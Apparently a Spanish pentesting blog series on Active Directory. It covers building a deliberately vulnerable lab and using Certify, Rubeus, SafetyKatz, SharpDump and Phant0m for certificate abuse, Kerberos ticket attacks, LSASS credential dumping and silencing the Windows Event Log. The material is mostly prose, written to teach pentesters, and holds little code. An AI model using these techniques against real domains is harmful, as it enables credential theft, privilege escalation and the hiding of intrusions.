Categorías
Hacking

Identifica vulnerabilidades Active Directory Certificate Services (AD CS) con Certify y Certipy – Parte 1

Demostración en vídeo de este post

En los últimos años, los servicios de certificados en entornos de directorio activo (AD CS) han dado mucho de que hablar. Seguramente te suenan vulnerabilidades como NoPAC, PetitPotam, entre otras. Todas ellas, relacionadas con esta implementación de PKI y que, en la mayoría de los casos, permiten la elevación de privilegios en un dominio de Active Directory. Si tienes que hacer un pentest en un AD, analizar este tipo de servicios es recomendable, ya que es posible que encuentres alguna plantilla que te permita suplantar a otro usuario o máquina, consiguiendo de esta forma, la elevación de privilegios.
En este sentido, hay dos herramientas interesantes para realizar consultas sobre la PKI de Microsoft, se trata de Certify y Ceritipy. La primera de ellas, hace parte del proyecto GhostPack, el cual incluye herramientas tan interesantes como Rubeus, SeatBelt o SafetyKatz. La segunda, es un script en Python que te ayuda a realizar las mismas operaciones que Certify, pero, a diferencia de Certify, la puedes desde tu máquina como atacante, sin necesidad de subir nada a una estación de trabajo o controlador de dominio.
Por otro lado, ambas herramientas se encargan de realizar consultas habituales y permiten el uso de alguna de las plantillas instaladas en el AD CS, por lo tanto pueden ser usadas por un pentester o un administrador de sistemas Windows para ver el estado del servicio y comprobar que todo está bien, o no.
A continuación, enseñaré el uso Certify y, en el siguiente post, hablaré de Certipy

Enumeración con Certify

En primer lugar, Certify es un proyecto que es necesario compilar, está desarrollado en C#. Una vez se cuenta con el binario correspondiente, se puede ejecutar desde una estación de trabajo o, directamente, sobre el controlador de dominio si se tiene acceso a él.

En primer lugar, se pueden listar todas las plantillas con «find» y filtrar aquellas que pueden ser vulnerables con /vulnerable

Puedes solicitar un certificado digital utilizando una de las plantillas disponibles, esta es, de hecho, una de las acciones más comunes cuando se utiliza AD CS por parte de aplicaciones en el entorno o manualmente por administradores.

Lo que devuelve Certify en este caso, es un certificado PEM directamente en la terminal. Es necesario copiar tanto la clave privada como la pública e incluir dichos contenidos en un fichero. A continuación, con la ayuda de OpenSSL se podría generar un certificado funcional, que se podrá utilizar para llevar a cabo el proceso de autenticación en donde el usuario tenga permitido iniciar sesión. El comando de OpenSSL para convertir a PFX aparece justo después de que Certify finaliza la ejecución del comando «request».
Es importante tener en cuenta que OpenSSL pedirá una contraseña, en este punto no es necesario introducir nada, pero si se indica una contraseña, luego hay que usar la opción «/password» en Rubeus y poner lo que se haya introducido.

Con este certificado, además de poder realizar procesos de autenticación en alguna de las máquinas del dominio, también podría utilizarse para pedir un ticket TGT al KDC de Kerberos.

Este es uno de los casos de uso más habituales con Certify, no obstante, hay muchas más opciones interesantes que merece la pena explorar. Es posible enumerar no solamente las plantillas disponibles, además se pueden consultar los detalles de la PKI

Si te interesa aprender más sobre AD CS y algunos de los escenarios más habituales, te recomiendo leer Certified Pre-Owned: Abusing Active Directory Certificate Services de Will Schroeder y Lee Christensen

En el siguiente post, explicaré el uso de Certipy, que si bien resulta muy parecido a Certify, tiene sus peculiaridades.

Un saludo y Happy Hack!
Adastra.

Categorías
FileSystem Hacking Networking

Cómo montar un laboratorio de Active Directory con Windows Server 2022 desde cero – Parte 2 de 2

Demostración en vídeo de éste post

En la primera parte de esta serie has visto cómo configurar un sistema Windows Server 2022, o al menos, una configuración mínima para tener un dominio de Active Directory. En esta segunda parte, verás como vincular una estación de trabajo con Windows 11 al dominio creado anteriormente, además de ver cómo ejecutar el proyecto BadBlood para tener un dominio «mal configurado» con cientos de objetos, de tal manera que tendrás un entorno parecido a lo que hay en cualquier empresa de tamaño medio, al menos en lo que respecta al número de objetos gestionados por el directorio activo.

Configuración inicial y vinculación del sistema al Dominio.

En primer lugar, se debe tener instalado un sistema Windows 11, el cual puedes descargar desde aquí:

Descargar Windows 11

Se puede utilizar VirtualBox o VMWare para la creación de una máquina virtual con dicho sistema, en el primer caso es recomendable instalar el «VirtualBox Guest Additions» y en el segundo, VMWare tools.

Dicho esto, se describen los pasos que se deben realizar en la estación de trabajo con Windows 11 para que se pueda unir al dominio.

  1. Asignar un nombre a la estación de trabajo recién instalada. Para ello, puedes ir a:  Windows -> en el campo de búsqueda escribir «PC Name» y luego, seleccionar la opción «Renombrar ordenador». Tal como aparece en el vídeo de YouTube, se ha asignado el nombre «THW-WORKSTATION»
  2. En la barra inferior, pinchar en conexiones de red -> Red & Internet -> Configuración de red avanzada -> pinchar en «Ethernet» -> Ver propiedades adicionales -> Asignación de servidor DNS -> Introducir la IP del DC.
  3. Unirse al dominio: Escribir en la barra de búsqueda -> «Dominio» -> Seleccionar «Obtener acceso a trabajo o escuela»
    1. Pinchar en «Connect» o «Conectarse». A continuación, seleccionar la opción «Unir este dispositivo a un dominio local de Active Directory«.
    2. En el campo donde se debe introducir el dominio, escribir «thehackerway.local» o el nombre de dominio indicado cuando se ha configurado el controlador de dominio. Dado que ya se ha configurado el servidor DNS en la estación de trabajo en el paso anterior, debería resolver dicho nombre de dominio sin problema. Pinchar en «Siguente».
    3. Ahora, el sistema solicita un usuario y contraseña para acceder al Active Directory. Debe ser un usuario de dominio, por lo tanto se recomienda crear primero un usuario en controlador de dominio.
    4. Finalmente, el sistema pedirá vincular una cuenta de usuario de dominio con esta máquina y si dicho usuario de dominio será un administrador de la estación de trabajo, a lo que se puede responder que sí. Llegados a este punto, es conveniente seleccionar la opción «reiniciar ahora».
  4. Para comprobar que la estación de trabajo se encuentra vinculada al dominio, basta con dirigirse al controlador de dominio en: Administrador de Servidor -> Herramientas -> Usuarios y Equipos de Active Directory y el nodo de «Computers» que cuelga del dominio principal, se podrá ver la estación de trabajo con el nombre asignado debidamente registrada.

 

Ejecución de BadBlood.

Se trata de un script en PowerShell que se encarga de  crear objetos en un AD de forma aleatoria, muchos de ellos con características inseguras con el objetivo de ejecutar diferentes tipos de ataques. Está diseñado para crear usuarios, estaciones de trabajo, ACLs, grupos, OUs, entre otras cosas.
Cada vez que se ejecuta es capaz de producir objetos y configuraciones distintas, genera objetos de forma aleatoria. Hay que tener en cuenta que una vez se ejecuta la herramienta, no hay forma de revertir estos cambios, a menos que se cree otro script en powershell para limpar todo lo que ha hecho BadBlood y lo que había antes de ejecutar la herramienta también. Por lo tanto es aconsejable generar un snapshot o instantánea del servidor antes de ejecutar este script y para tener la capacidad de revertir los cambios que genera BadBlood.
Son necesarios permisos de administrador para poder ejecutarlo y el procedimiento para
ejecutar BadBlood se describe a continuación.

  1. Es necesario subir o descargar el script de PowerShell al controlador de dominio. Dicho programa se encuentra en el repositorio Github del proyecto
  2. Se debe abrir una terminal  de PowerShell con permisos de Administrador y ejecutar el siguiente comando:Set-ExecutionPolicy unrestrictedA continuación, ubicarse en la ruta donde se encuentra el script y ejecutar «.\Invoke-BadBlood.ps1». Esto abrirá una nueva terminal y generará una serie de mensajes que advierten del uso de este programa en un entorno productivo (algo que bajo ningún concepto se debe hacer).
  3. Finalmente escribir en la terminal «badblood» cuando se solicite y esperar a que finalice el proceso. Puede tardar varios minutos.

Con estos sencillos pasos, puedes empezar a probar herramientas de pentesting para entornos de Active Directory y comprobar su funcionamiento, ya tendrás un entorno debidamente configurado (o mejor dicho, mal configurado) para hacer tus pruebas.

Un saludo y Happy Hack!
Adastra.

Categorías
Explotación de Software Hacking Services - Software

Cómo montar un laboratorio de Active Directory con Windows Server 2022 desde cero – Parte 1 de 2

Demostración en vídeo de éste post.

Me resulta muy interesante la evolución de los sistemas Windows, tanto en estaciones de trabajo como servidores. Parece que pocas cosas cambian entre las diferentes versiones, pero lo cierto es que desde la perspectiva de un técnico, cada nueva versión introduce características (y vulnerabilidades) que nos obligan a mantenernos al día y estudiar continuamente. Por poner un ejemplo, en los últimos años gracias a Microsoft Azure, es posible tener controladores de dominio en la nube y contar con servicios distribuidos en diferentes ubicaciones geográficas, algo que mejora la escalabilidad, pero plantea nuevos retos y amenazas que antes no existían.
Precisamente por este motivo, en Securízame hemos creado los entrenamientos 100% prácticos sobre entornos Windows, que esperamos volver a realizar en el 2023, así que si esto te interesa, te recomiendo que estés atento a los anuncios que emitiremos este año.
En éste post y en vídeo que tienes disponible en YouTube (mira un poco más arriba) he decidido explicar cómo montar un laboratorio vulnerable con Windows Server 2022 y al menos una estación de trabajo con Windows 11.
Si bien el procedimiento es prácticamente el mismo que para otras versiones de Windows Server y Windows «Workstation», hay algunos detalles en los que difiere un poco y que explicaré a continuación.

Requisitos

En primer lugar, debes descargar las imágenes de Windows 11 y Windows Server 2022 desde la página web de Microsoft.

Descargar Windows Server 2022

Descargar Windows 11

Aunque puedes utilizar cualquier solución de virtualización, en este caso concreto verás cómo llevar a cabo el proceso con VirtualBox.

Primeros pasos

El proceso de instalación de las máquinas virtuales es básico y lo puedes ver en el vídeo anterior que está subido en YouTube, partiendo de esa base puedes empezar a aplicar algunas configuraciones básicas que explico a continuación.

Configuraciones básicas en el DC

  1. Asignar un nombre al controlador de dominio recién instalado. Para ello, puedes ir a:  Windows -> en el campo de búsqueda escribir «PC Name» y luego, seleccionar la opción «Renombrar ordenador». Tal como aparece en el vídeo de YouTube, se ha asignado el nombre «THW-DC»
  2. Click en «Configuración de red e internet» -> «Opciones de uso compartido» -> «Activar detección de redes» para público, privado y dominio.
  3. Click en «Configuración de red e internet» -> «Centro de redes y recursos compartidos» -> «Cambiar adaptador de red» -> Cambiar configuración para IPv4 y poner como DNS primario la IP del gateway (p.e. 192.168.1.1) y establecer una IP estática.
    A continuación, desde la configuración del adaptador de red pinchar en «Cambiar configuración para IPv6» y poner «obtener automáticamente el servidor DNS».
  4. Llegados a éste punto, es mejor reiniciar.
  5. Ahora se pueden configurar los servicios del Domain Controller
    1. Desde la aplicación de «Server Manager» -> Administrar -> Añadir Roles y características -> Seleccionar siguiente hasta «Roles de Servidor».
    2. En «Roles de Servidor» seleccionar -> «Active Directory Domain Services» o «Servicios de dominio de Active Directory» -> Add Features. Finalmente, Siguiente -> Siguiente -> Install.
    3. Cuando termina la instalación, en la aplicación «Server Manager», se debe pinchar en el botón de «Warning» y comenzar con la configuración del AD seleccionando la opción que pone «Promover el servidor a controlador de dominio.»
    4. Pinchar en «Agregar a un nuevo bosque» e introducir un valor como por ejemplo «thehackerway.local» y Siguiente.
    5. En opciones de controlador, se debe escribir la contraseña para el modo de restauración de servicios de directorio (DSRM).
    6. Continuar con los valores por defecto. Al final del proceso es necesario reiniciar. Se podrá ver en la pantalla de inicio de sesión que ahora aparece thehackerway.local\Administrador

Configuración de los servicios AD CS (Certificate Services).

Los servicios de Active Directory Certificate Services representan la implementación de PKI oficial de Microsoft y están dando mucho de qué hablar desde el 2021, especialmente desde vulnerabilidades como PetitPotam, noPac y una de las más recientes a la fecha de redactar este post, identificada con el CVE-2022-26923 y que le permite a un atacante que ya cuenta con un usuario de dominio, solicitar un certificado para una máquina arbitraria en la red (como un controlador de dominio) y suplantarle, para ello basta simplemente con cambiar el atributo DnsHostName de una cuenta de máquina, la cual se puede crear fácilmente utilizando el script «addmachine.py» de Impacket o una de las tantas utilidades para pentesting sobre sistemas Windows que se encuentran disponibles.
El proceso de instalación de esta implementación de PKI es muy simple y en todo caso,  se realiza sobre el controlador de dominio siguiendo los siguientes pasos:

  1. En la herramienta de administración del servidor -> Agregar características y roles -> Siguiente hasta Roles de servidor. Seleccionar todas las características de «Servicios de Certificado de Active Directory». Siguiente, siguiente, instalar.
  2. Una vez instalado, es necesario configurar los servicios. Se debe pinchar en la advertencia que aparece en la herramienta de «administración del servidor» y a continuación, seleccionar todos los servicios de rol.
  3. En cuenta de servicio para NDES, especificar la cuenta del servicio. Se puede seleccionar la cuenta del Administrador. Siguiente.
  4. En información de RA, se puede dejar todo por defecto y continuar con el asistente hasta el final.
  5. Ahora, se puede abrir una CMD de Powershell con permisos de administrador y se instala el módulo PSPKI además, también se permite la instalación de NuGet y PowerShellGet.Install-Module -Name PSPKI
  6. A continuación, se puede importar el módulo y comprobar la configuración de Enrollment.Import-Module PsPKI
    Get-CertificationAuthority | Select Name, Enroll* | Format-List *

Con los pasos anteriores ya se cuenta con un controlador de dominio con una configuración mínima.

En el siguiente post explicaré cómo habilitar varias características que harán que el dominio sea vulnerable y además, cómo unir una estación de trabajo con Windows 11.

Un saludo y Happy Hack!
Adastra.

Categorías
Cracking Explotación de Software Hacking Services - Software

10 Herramientas esenciales para pentesting en Active Directory – Parte 1 de 2

Demostración en vídeo de éste post:

Hay una gran cantidad y variedad de herramientas que apoyan en el proceso de pentesting sobre sistemas Windows y muy concretamente, sobre entornos de Active Directory. En este post y el siguiente enumeraré 10 herramientas que en mi experiencia, son esenciales cuando se realiza una auditoría de seguridad en éste tipo de entornos. Obviamente hay bastantes más, pero creo que éstas representan un buen punto de partida para tener un «arsenal» lo suficientemente sólido a la hora de ejecutar auditorías sobre sistemas Windows.

1. Evil-WinRM

Evil-WinRM es, con diferencia, una de las herramientas más útiles cuando se trata de realizar labores de post-explotación sobre un sistema Windows. Utiliza el protocolo WinRM para el establecimiento de conexiones remotas con sistemas Windows y genera una shell interactiva. Cuenta con varios comandos que permiten subir y descargar ficheros, ejecutar assemblies de C# en memoria, importar scripts de Powershell, entre muchas otras cosas. Si quieres aprender en detalle cómo funciona, te recomiendo los siguientes vídeos publicados en el canal de YouTube:

Evil WinRM Shell sobre WinRM para pentesting en sistemas Windows Parte 1 de 2
Evil WinRM Shell sobre WinRM para pentesting en sistemas Windows Parte 2 de 2

2. GhostPack

Se trata de un conjunto de herramientas muy potente para labores de pentesting sobre sistemas Windows. Cuenta con utilidades tan conocidas como Rubeus, Seatbelt, SharpDPAPI y SharpUp. Estas herramientas se encuentran desarrolladas en C# y es necesario descargar el código del proyecto y compilar la solución DotNet, lo cual no es nada complejo de hacer aunque puede llevar algo de tiempo. Ya se ha escrito sobre estas herramientas en el blog, así que te recomiendo su lectura en los siguientes posts:

Post-explotación en sistemas Windows con GhostPack – Parte 1 de 3
Post-explotación en sistemas Windows con GhostPack – Parte 2 de 3
Post-explotación en sistemas Windows con GhostPack – Parte 3 de 3

3. CrackMapExec

En este caso es una herramienta que últimamente está ganando popularidad y no es para menos. Permite la ejecución de pruebas sobre servicios comunes en un entorno de Active Directory, tales como SMB, RDP, MSSQL, entre otros. Es una utilidad que se puede ejecutar desde la máquina del atacante y funciona perfectamente. Aunque no hace falta un usuario para que las pruebas se lleven a cabo correctamente, la herramienta permite indicar un usuario y contraseña (local o de dominio) para lanzar pruebas sobre el sistema objetivo de la forma más completa posible. Si quieres aprender un poco más sobre el uso de ésta herramienta, puedes leer el siguiente post y ver el vídeo que le acompaña en YouTube.

4. ADReaper

Es una utilidad orientada a la enumeración remota, permite extraer información variada de un sistema Windows ejecutando consultas LDAP. Tal y como ocurre con CrackMapExec, es posible ejecutar la herramienta sin indicar un usuario de dominio, sin embargo, podrá extraer mucha más información si se especifica uno y por este motivo, puede ser vista como una herramienta orientada a la post-explotación.

5. Certify y Certipy

Estas dos utilidades se han vuelto muy populares tras la aparición de las múltiples vulnerabilidades que afectan a la PKI diseñada por Microsoft para sistemas Windows Server, también conocida como AD CS (Active Directory Certificate Services). Son herramientas que de hecho, no explotan ninguna vulnerabilidad, simplemente realizan consultas sobre los servicios de AD CS y permiten detectar malas configuraciones que le permiten a un atacante la explotación del entorno. La principal diferencia es que Cerify se encuentra desarrollada en C# y es necesario subir el programa a una estación de trabajo unida al dominio o ejecutarla desde memoria con Invoke-Binary de Evil-WinRM, mientras que Certipy es un script en Python que se puede ejecutar desde la máquina del atacante, en donde solamente es necesario indicar las credenciales de un usuario de dominio para su ejecución.

En éste post se han mencionado cinco herramientas fundamentales para entornos de Active Directory, en el siguiente post se mencionarán cinco más que también considero fundamentales.

Un saludo y Happy Hack!
Adastra.

Categorías
Explotación de Software Hacking Networking Services - Software

Atacando el sistema de Event Logging en Windows con Phant0m

Demostración en vídeo del post

Phant0m es un proyecto que se encuentra disponible en Github que se encarga de «matar» los procesos de un sistema Windows que están vinculados con el Event Log. El objetivo de esto evidentemente es el de ocultar las actividades del atacante e impedir que quede registro de cualquier evento en el Event Log del sistema.
Una de las cosas que hay que saber para entender su funcionamiento es el funcionamiento de los procesos compartidos y el proceso Service Host (srvhost.exe) el cual es el encargado de agrupar uno o más servicios con el objetivo de reducir el consumo de recursos. Por ese motivo es tan habitual ver múltiples servicios del tipo «srvhost.exe» ejecutándose en un sistema Windows y de hecho, es una buena práctica que se viene implementando desde Windows 2000 y simplemente funciona, mejora el rendimiento ya que la creación de servicios en Windows es mucho más costosa que en sistemas basados en Unix. No obstante, esto ha traído consigo algunos otros problemas relacionados con la depuración y resolución de problemas, ya que si un proceso de este tipo «crashea» será más difícil saber la causa del error, dado que cualquiera de los procesos que están agrupados podría ser el responsable. Probablemente, este ha sido uno de los motivos por los que en sistemas Windows 10 este comportamiento ha cambiado y cada proceso se ejecuta en de forma separada (sin agrupación) lo que significa que habrá un mayor consumo de recursos pero será más fácil analizar lo que pasa en un proceso. No obstante hay que tener en cuenta que esto solo funciona si el entorno en el que se ejecuta Windows tiene más de 3,5 GB de RAM, de lo contrario se implementa el sistema de agrupación de servicios clásica.
Una vez entendido esto, se puede comprender mejor el objetivo de Phant0m y sus limitaciones.  A grandes rasgos, Phant0m accede al Event Log y procede a encontrar el proceso responsable de dicho servicio,  a continuación detecta y «mata» los hilos vinculados a dicho servicio. Por lo tanto, aunque el Event Log se sigue ejecutando en el sistema ya que no se ha matado el proceso principal, no hará su función principal que es la de recolectar los logs puesto que los hilos que hacen esa tarea no se encuentran en ejecución. Es una forma sutil de evitar la detección por medio del análisis de eventos en un sistema comprometido, sin embargo requiere privilegios elevados para poder realizar dicha operación, lo que significa que es una herramienta pensada para post-explotación en una campaña de Red Team que se encuentra en un estado avanzado.

Uso de Phant0m.

Llegados a este punto, merece la pena mencionar que es una herramienta que se puede personalizar hasta cierto punto. Permite definir la técnica utilizada para detectar el proceso que ejecuta el servicio de Event Log (utilizando SCM o WMI) y posteriormente matar los hilos vinculados. En la primera técnica (usando SCM) se utiliza la función NtQueryInformationThread para obtener la dirección TEB del proceso, leer el campo SubProcessTag y finalmente, matar todos los hilos relacionados con el Event Log. En la segunda técnica la herramienta se encarga simplemente de detectar las DLLs que están asociadas con los hilos filtrando por «wevtsvc.dll», que es precisamente la DLL utilizada por el Event Log y a continuación, los hilos que cumplen con dicho filtro se interrumpen. Como se puede ver es una herramienta que no es para nada compleja, sin embargo es necesario descargar el proyecto (solución) y compilar con Visual Studio .NET, de esta manera se podrá generar un EXE o DLL que luego se podrá transferir y ejecutar el sistema comprometido.

Como se comentaba anteriormente, en el fichero main.cpp se puede definir la técnica de detección que la herramienta utilizará. A continuación, se debe compilar y se generará el binario correspondiente (EXE o DLL).  Es una herramienta orientada a procesos de post-explotación en donde ya se cuenta con un nivel de acceso con privilegios elevados en el sistema, evidentemente esto es requerido para poder acceder y manipular un proceso tan importante como el Event Log.  Si se ejecuta desde una shell sin privilegios suficientes aparecerá un mensaje indicando que no es posible realizar la acción.

Esta herramienta no recibe ningún tipo de argumento por línea de comandos, de hecho, tal como se puede apreciar en el código solamente consta del fichero «main.cpp» desde donde se realiza todo el trabajo aplicando las técnicas descritas anteriormente. No es una herramienta compleja pero la idea que se implementa es muy útil en procesos de post-explotación para evitar dejar rastros en el sistema comprometido.

Tal como se aprecia en la imagen anterior, detecta el PID del servicio Event Log y posteriormente, aplica la técnica seleccionada para interrumpir los threads que están relacionados con dicho servicio.
Por último, en Empire Framework hay un módulo para post-explotación que ejecuta Phant0m en el sistema comprometido sin necesidad de compilar el proyecto ni subir nada, otra de las «maravillas» que hace Empire Framework 🙂

Un saludo y Happy Hack!
Adastra.

 

Categorías
Explotación de Software Hacking Services - Software

Post-explotación en sistemas Windows con GhostPack – Parte 3 de 3

Este será el último post sobre GhostPack que como se ha mencionado anteriormente, es un conjunto de herramientas que cubren varias operaciones habituales en procesos de post-explotación en sistemas Windows. Las dos partes anteriores de esta serie se encuentran disponibles en los siguientes enlaces:

Post-explotación en sistemas Windows con GhostPack – Parte 1 de 3
Post-explotación en sistemas Windows con GhostPack – Parte 2 de 3

Lockless

Se trata de una herramienta que utiliza la función SystemHandleInformation del componente NtQuerySystemInformation para listar y copiar lo file handles que tiene abiertos un proceso y que apuntan a un fichero concreto en el sistema comprometido. Evidentemente, para que estas operaciones se puedan llevar a cabo es necesario contar con privilegios para abrir el proceso y acceder a los handles del mismo. Si esta condición se cumple, se encarga de mapear los contenidos del fichero en memoria y posteriormente vuelca dichos contenidos en el fichero especificado. Como todos los proyectos disponibles en GhostPack, es necesario compilar la solución C# con el Visual Studio .NET y de esta forma obtener el binario correspondiente. Una vez hecho esto, utilizarlo es muy simple y necesita pocos parámetros para funcionar.

Como se puede ver en la imagen anterior, se puede ejecutar el binario de LockLess con el parámetro «all» y devolverá toda la información de los procesos que tienen algún file handle utilizado en ese momento. A continuación, basta simplemente con ejecutar el programa indicando la ruta del fichero que está siendo utilizado por el proceso y aparecerá información relacionada con el handle. Con esto es suficiente para realizar un volcado de los contenidos de dicho file handle en una ruta concreta.

Rubeus

Una de las utilidades más potentes que tiene GhostPack es precisamente Rubeus. Se trata de una herramienta que permite ejecutar diversos tipos de ataques contra el protocolo Kerberos. Incluye la posibilidad de ejecutar manipulaciones interesantes sobre los tickets TGT como su solicitud y renovación por medio de peticiones AS-REQ y análisis de respuestas AS-REP, su extracción por medio de la API LsaCallAuthenticationPackage, ataques del tipo Over-pass-the-hash, fuerza bruta, kerberoasting, entre otras cosas.

A continuación se describen algunas opciones y ataques que se pueden realizar contra un dominio partiendo de un sistema previamente comprometido.
En primer lugar se puede aplicar la técnica de Pass-The-Ticket disponible en Rubeus por medio de la opción /ptt. Un ejemplo típico consiste en utilizar las credenciales de un usuario local o de dominio para generar un ticket TGT utilizando un algoritmo de cifrado débil, como por ejemplo RC4. Hay que tener en cuenta que en versiones de Windows Server recientes (superiores a Windows Server 2008) este mecanismo de cifrado ya no se utiliza y por defecto la clave de sesión para el ticket TGT se cifrará utilizando un algoritmo más robusto como AES128/AES256. No obstante, Kerberos y más concretamente, el KDC (Kerberos Distribution Center) admite la generación de hashes con un algoritmo más débil siempre y cuando el hash de las credenciales sea correcto.

Como se puede ver, se genera el ticket TGT en formato Base64, el cual se puede utilizar posteriormente para pedir un ticket TGS sobre un servicio determinado al que el usuario tenga cierto nivel de acceso, para ello se utiliza la opción asktgs pasándole como argumento un fichero kirbi con el ticket TGT generado e importado anteriormente o la cadena en formato Base64. También es posible ver todos los tikets de Kerberos que se encuentran registrados actualmente junto con su información.

Como se ha mencionado antes, Rubeus es una de las utilidades más potentes que tiene GhostPack, sin embargo requiere unos conocimientos sólidos sobre el funcionamiento y estructura de Kerberos, el KDC y en términos generales, la configuración de seguridad de un directorio activo. Este tipo de cuestiones se cubrirán en detalle en una serie de posts que pronto comenzaré a preparar sobre pentesting y hacking contra entornos AD y se retomará nuevamente el uso de esta herramienta.

Un saludo y Happy Hack!
Adastra.

Categorías
Explotación de Software Hacking Services - Software

Post-explotación en sistemas Windows con GhostPack – Parte 2 de 3

En el post anterior sobre los proyectos disponibles en GhostPack para post-explotación se ha explicado el funcionamiento de 2 de las herramientas disponibles, concretamente: SeatBelt y SharpDump. Ahora es el turno de hablar sobre SharpUp, SharpWmi y SafetyKatz. Si quieres leer el post anterior lo encuentras disponible en el siguiente enlace:

Post-explotación en sistemas Windows con GhostPack – Parte 1 de 3

SharpUp

Es un proyecto que porta muchas de las funciones disponibles en el script de PowerSploit llamado PowerUP el cual permite ejecutar múltiples pruebas en busca de problemas de seguridad en el sistema que permitan la elevación de privilegios local. Hay que tener en cuenta que el repositorio de PowerSloit ha sido archivado desde hace algún tiempo y aunque ya no se encuentra mantenido, sus funcionalidades se han ido trasladando a otros proyectos como Empire Framework o el propio SharpUp. Como ocurre con otros proyectos de GhostPack es necesario compilar la solución con el Visual Studio ya que no se distribuyen los binarios en el repositorio oficial de GitHub, pero es algo que no requiere mucho esfuerzo ni supone dificultad alguna.
Una vez generado el binario basta con ejecutarlo desde una terminal sin argumentos. Si se ejecuta con un nivel de integridad alto la herramienta indica que no hace falta ejecutarla dado que ya tienes permisos suficientes sobre el sistema, pero permite lanza con el argumento «audit» para forzar la ejecución de todas las pruebas disponibles en la herramienta.

Dada la gran cantidad de pruebas que realiza y el nivel de trazas que genera, es recomendable enviar dicha salida a un fichero de texto para analizarlo detenidamente cuando termine, bastaría con ejecutar «SharpUp.exe audit > salida.log«.

SharpWMI

Funciona como un envoltorio para las consultas que se pueden ejecutar utilizando la interfaz de WMI, algo que viene muy bien en procesos de post-explotación en Windows y que ya se ha mencionado antes en este blog. Cuando se ejecuta sin ningún argumento aparece la ayuda de la herramienta y se puede apreciar su uso.

Tal como se indica, es una implementación que soporta varias características interesantes como la posibilidad de ejecutar ficheros VBS maliciosos, aplicar técnicas de evasión del AMSI utilizando lo que se encuentra en el proyecto SharpMove e incluso la ejecución de ficheros MSI vía WMI.

SafetyKatz

Se trata de una utilidad que primero realiza un volcado de memoria del proceso LSASS utilizando la función MiniDumpWriteDump, de hecho, esto es algo que se ha explicado en el post anterior ya que es lo mismo que hace la hace la herramienta SharpDump cuando se ejecuta sin ningún argumento. Una vez se genera el fichero de volcado, se procede a ejecutar la utilidad Mimikatz para acceder a dicho fichero con los comandos «sekurlsa::logonpasswords» y «sekurlsa::ekeys«. Finalmente, el fichero de volcado se elimina por parte de la herramienta y finaliza su ejecución.

Como se puede apreciar la ejecución de Mimikatz se lleva a cabo sobre el volcado generado. Si bien es un procedimiento sencillo, es especialmente interesante ver el código fuente de esta herramienta, concretamente los ficheros Constants.cs y Program.cs ya que el primero de ellos contiene la versión modificada de Mimikatz codificada y comprimida utilizando el script Out-CompressedDll.ps1 y el segundo hace todo el proceso, primero genera el volcado del LSASS y luego, decodifica Mimikatz para poder recomponer todo el fichero PE con sus correspondientes cabeceras y estructura completa en memoria, todo de forma dinámica y utilizando la potencia que ofrece C#.

Desde luego ver el código fuente de esta y otras herramientas es extremadamente útil para aprender algunas técnicas que se pueden aplicar en Hacking de sistemas Windows con C#. En el siguiente post se profundizará aún más en el uso de las utilidades disponibles en Ghostpack.

Un saludo y Happy Hack!
Adastra.

Categorías
Explotación de Software Hacking Services - Software

Post-explotación en sistemas Windows con GhostPack – Parte 1 de 3

GhostPack es una colección de herramientas enfocadas a labores de post-explotación en sistemas Windows, las cuales se encuentran en su mayoría, desarrolladas en C#. A la fecha de redactar este post hay 10 utilidades disponibles en el repositorio de GitHub de esta colección:  Seatbelt, SharpUp, SharpDump, SharpRoast, SafetyKatzSharpWMI, SharpDPAPI, Rubeus, KeeThief y Lockless. Cada una de ellas se encuentra en repositorios separados, pero todas bajo el contexto de lo que se conoce como «GhostPack». Dado que se trata de herramientas que vienen muy bien para un proceso de post-explotación en Windows, se procede a explicar las más relevantes y cómo utilizarlas.

SeatBelt

Se trata de un proyecto muy similar a otros de los que ya se han mencionado anteriormente en la serie de posts sobre Enumeración básica en sistemas Windows para Post-explotación. Intenta realizar un conjunto de comprobaciones poco agresivas o intrusivas sobre el sistema comprometido, con el objetivo de recolectar información que sea relevante tanto para equipos de RedTeam como para BlueTeam.
En primer lugar, en el repositorio no se encuentra el binario correspondiente y en el README se indica que tampoco está planeado distribuirlo, no obstante con una instalación de Visual Studio y una versión del Framework de .NET 3.5 o 4.x es suficiente para compilar la solución C# y generar un binario.

Una vez compilado el proyecto, su ejecución es muy simple. Basta con lanzar el comando sin ningún argumento para ver las opciones admitidas. A la hora de lanzar SeatBelt se pueden especificar comandos directos que consultarán algún tipo de detalle en el sistema o grupos predefinidos que categorizan los comandos disponibles. La forma más cómoda y rápida de usar SeltBelt es precisamente especificar un grupo concreto y ver qué se obtiene.

Lo que se puede apreciar en la imagen anterior es que se ha establecido una conexión utilizando Evil-winrm ya que en la víctima el servicio de WinRM se encuentra habilitado por lo tanto resulta cómodo y conveniente ejecutar la herramienta desde una sesión con WinRM. Se puede comprobar que la cantidad de comandos disponibles es considerablemente larga y que probablemente es mucho mejor ejecutar grupos de comandos tal como se comentaba anteriormente. Precisamente, en los mensajes que aparecen cuando se ejecuta el binario sin argumentos, aparecen los grupos disponibles y los comandos que ejecutará SeltBelt.

Ejecutar un grupo es una tarea sencilla, ya que solamente hace falta indicar un grupo concreto y la herramienta habilitará los comandos asociados de forma automática y además, los resultados de la ejecución de SeatBelt se pueden almacenar en un fichero en formato JSON.

A la hora de consultar dichos ficheros se puede apreciar la gran cantidad de información que aportan. De hecho, algunos grupos de SeatBelt extraen información muy completa algo que utilizando los módulos de Post-Explotación disponibles en Metasploit Framework se podría conseguir lanzando varios módulos de forma individual.

SharpDump

Nuevamente, se trata de un «port» de otro de los scripts disponibles en PowerSploit, en este caso concreto es el Out-Minidump el cual se encarga de volcar la memoria de un proceso concreto para su posterior análisis. Para hacer esto, se invoca a la función MiniDumpWriteDump que por defecto se encarga de dejar el fichero con el volcado de la memoria en el directorio C:\\Windows\\Temp. Así como el script Out-Minidump es fácil de ejecutar, el programa SharpDump también lo es. Basta con indicar el PID del proceso que se pretende volcar y la utilidad hará el resto. En el caso de no indicar dicho PID, volcará la memoria del proceso LSASS.

Como se puede apreciar, al no indicar un PID el programa se encarga de encontrar el PID del proceso LSASS y volcar, suponiendo que se cuente con privilegios suficientes para ello. Además se puede ver que se recomienda utilizar el módulo «sekurlsa::minudump» de Mimikatz para analizar el volcado anterior.

Cuando se selecciona un PID concreto la herramienta intenta acceder a dicho proceso y volcar los contenidos que tiene en memoria. Es un funcionamiento bastante simple, pero como se ha comentado anteriormente dependerá del nivel de privilegios que tenga el usuario en cuestión para acceder al proceso y operar sobre él.

En el siguiente post se explicará el uso de otras utilidades disponibles en GhostPack. Si te ha gustado este post o tienes alguna pregunta te animo a que dejes un comentario. 🙂

Un saludo y Happy Hack!
Adastra.

Categorías
